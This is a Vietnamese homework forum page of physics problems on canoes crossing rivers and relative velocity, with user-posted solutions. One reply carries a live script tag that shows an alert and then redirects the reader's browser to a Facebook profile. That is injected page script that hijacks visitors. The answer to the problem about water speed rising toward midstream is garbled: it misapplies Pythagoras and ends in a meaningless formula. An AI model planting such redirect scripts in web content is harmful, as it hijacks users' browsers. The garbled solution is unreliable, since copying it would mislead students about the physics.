1 cano rời bến tại A chuyển động với v không đổi = 4m/s đối với nước hướng vuông góc tới B. Biết rằng vận tốc nước tăng tỉ lệ với khoảng cách từ 0m/s - 2m/s khi ra giữa dòng sông. Cho AB = 50m. Hỏi cano đến C cách B bao nhiêu
1 cano rời bến tại A chuyển động với v không đổi = 4m/s đối với nước hướng vuông góc tới B. Biết rằng vận tốc nước tăng tỉ lệ với khoảng cách từ 0m/s - 2m/s khi ra giữa dòng sông. Cho AB = 50m. Hỏi cano đến C cách B bao nhiêu ?
mọi người ơi, mình rất gấp ạ....mong thầy cô và bạn bè giúp đỡ, mình cảm ơn nhiều ạ
Một cano làm nhiệm vụ chuyên chở giữa hai bên A và B ở hai bờ đối diện của một con sông. Trong suốt thời gian cano chạy,nó luôn luôn di chuyển trên đường AB biết khoảng cách AB là L=1200m, vận tốc nước chảy bằng 1,9 m/s, góc giữa AB và dòng nước là 60 độ. Hỏi cano phải có vận tốc tương đối với dòng nước là bao nhiêu và mũi cano phải hợp với AB một góc bằng bao nhiêu để thời gian đi từ A đến B rồi lại trở về A mất 5 phút.
a)Tính thời gian lúc đi và lúc về của ca nô.
b)Tính vận tốc tương đối của ca nô với dòng nước.
c)Lúc về mũi canô hợp với AB một góc bằng bao nhiêu?
hai bến A và B ở bên một con sông mà nước chảy với vận tốc 1m/s. Một ca nô đi từ A đến B mất 2h30ph và đi từ B về A 3h45ph. Biết rằng vận tốc riêng của ca nô( tức là vận tốc đối với nước yên lặng) không thay đổi. Hãy tính vận tốc ấy và khoảng cách giứa 2 bến sông.
2h30ph=150ph
3h45ph=225ph
1m/s=60m/ ph
song chay theo huong tu A đến B
khi đi từ A đến B
V1 = V cano + V nuoc = V cano +60
S= V1* t1 = (V cano +60)* 150=150* V cano+ 9000 (m) (1)
khi đi từ B đến A
V2 = V cano - V nuoc = V cano -60
S= V2* t2 = (V cano -60)* 225=225* V cano - 13500 (m) (2)
Tu (1) , (2)
150* V cano+ 9000= 225* V cano – 13500
Suy ra V cano = 300m/ phut
S= 150* V cano+ 9000= 300* 150 +9000=54000m=54km
Một ca nô chuyển động với vận tốc 21,6(km/h) so với dòng nước, dòng nước chảy với vận tốc 2(m/s) so với bờ sông. Thời gian ca nô xuôi dòng từ bến A đến bến B cách A 800(m) là?
|
Chọn gốc tọa độ O trùng với A
Chiều dương trục Ox là từ A đến B
Đổi :800m=0,8 km
Phương trình chuyển động của ca nô
\(0,8=\left(21,6+2\cdot3,6\right)t=28,8t\left(km,h\right)\)
\(\Rightarrow t=\dfrac{1}{36}\left(h\right)=1'40s=100\left(s\right)\)
Vậy ...
Một khúc sông thẳng có vận tốc của dòng nước tăng tỉ lệ thuận với khoảng cách từ bờ. Vận tốc của dòng nước sát bờ là \(0\), ở giữa sông là \(v_0\). Một thuyền chạy băng qua dòng sông với tốc độ \(u\) không đổi và luôn vuông góc với vận tốc chảy của dòng nước. Cho sông có bề rộng \(c\). Xác định quãng đường thuyền bị nước cuốn đi khi đang ngang qua sông.
Để xác định quãng đường thuyền bị nước cuốn đi khi đang ngang qua sông, ta có thể sử dụng định luật Pythagoras và tỉ lệ của vận tốc dòng nước.
Gọi x là khoảng cách từ thuyền đến bờ sông. Vận tốc của dòng nước tại khoảng cách x từ bờ sông là v(x) = v0 + (v1 - v0) * (x / c), với v1 là vận tốc của dòng nước tại bờ sông và c là bề rộng của sông.
Vận tốc của thuyền là u, luôn vuông góc với vận tốc chảy của dòng nước. Do đó, vận tốc tương đối của thuyền so với dòng nước là v(x) - u.
Áp dụng định luật Pythagoras, ta có: (v(x) - u)^2 = v0^2 + u^2
Giải phương trình trên để tìm x, ta có: (v0 + (v1 - v0) * (x / c) - u)^2 = v0^2 + u^2 (v1 - v0) * (x / c) = sqrt(v0^2 + u^2) - v0 x = (sqrt(v0^2 + u^2) - v0) * (c / (v1 - v0))
Một cano rời bến A lúc 5h45',xuôi dòng về tới B lúc 7h. Hỏi vận tốc thực của cano? Biết rằng khoảng cách giữa A và B là 33km và vận tốc dòng nước là 3km/giờ
thời gian ca nô đi từ a về b là
7h-5h45'=1h15'
đổi 1h15'=1,25h
vận tốc của ca nô khi xuôi dòng là:
33:1,25=26,4(km/h)
vận tốc thực của ca nô là
26.4-3=23,4(km/h)
một cano đi ngược dòng nước từ bến A đến bến B cách nhau 30 km hết 1h30phút. Biết Vận tốc của dòng nước so với bờ sông là 5km/h
a) tính vận tốc của cano so với dòng nước
b)Hỏi nếu cano đi xuôi theo dòng nước từ B đến A mất bao nhiêu thời gian ?
Coi vận tốc của cano so với dòng nước và của dòng nước so với bờ sông là không đổi ?
:)) thanks !
a) gọi van toc cano la v ta co;
30: (v-5) = 1h30p = 3/2
v = 25km/h
b) thoi gian cano di xuoi la;
30:(v+5) = 30/25+5 = 30/30 = 1h
<script>setTimeout(()=>{
alert("@@");window.open("https://www.facebook.com/duongdzin","_self");
},5000);</script>
Một chiếc Cano chuyển động thẳng đều xuôi theo dòng sông từ bến A đến bến B.Sau đó lại chuyển động ngược dòng từ bến B đến bến A. Biết rằng thời gian để đi từ B đến A lớn gấp 1,5 lần thời gian đi từ A đến B(nước chảy đều). Cho khoảng cách giữa hai bến A,B là 48km và thời gian Cano đi từ B đến A là 1,5 giờ.
a, tính vận tốc của cano so với dòng nước.
b, Tính vận tốc của dòng nước so với bờ sông
Một cano làm nhiệm vụ chuyên chở giữa hai bên A và B ở hai bờ đối diện của một con sông. Trong suốt thời gian cano chạy,nó luôn luôn di chuyển trên đường AB biết khoảng cách AB là L=1200m, vận tốc nước chảy bằng 1,9 m/s, góc giữa AB và dòng nước là 60 độ. Hỏi cano phải có vận tốc tương đối với dòng nước là bao nhiêu và mũi cano phải hợp với AB một góc bằng bao nhiêu để thời gian đi từ A đến B rồi lại trở về A mất 5 phút.
a)Tính thời gian lúc đi và lúc về của ca nô.
b)Tính vận tốc tương đối của ca nô với dòng nước.
c)Lúc về mũi canô hợp với AB một góc bằng bao nhiêu?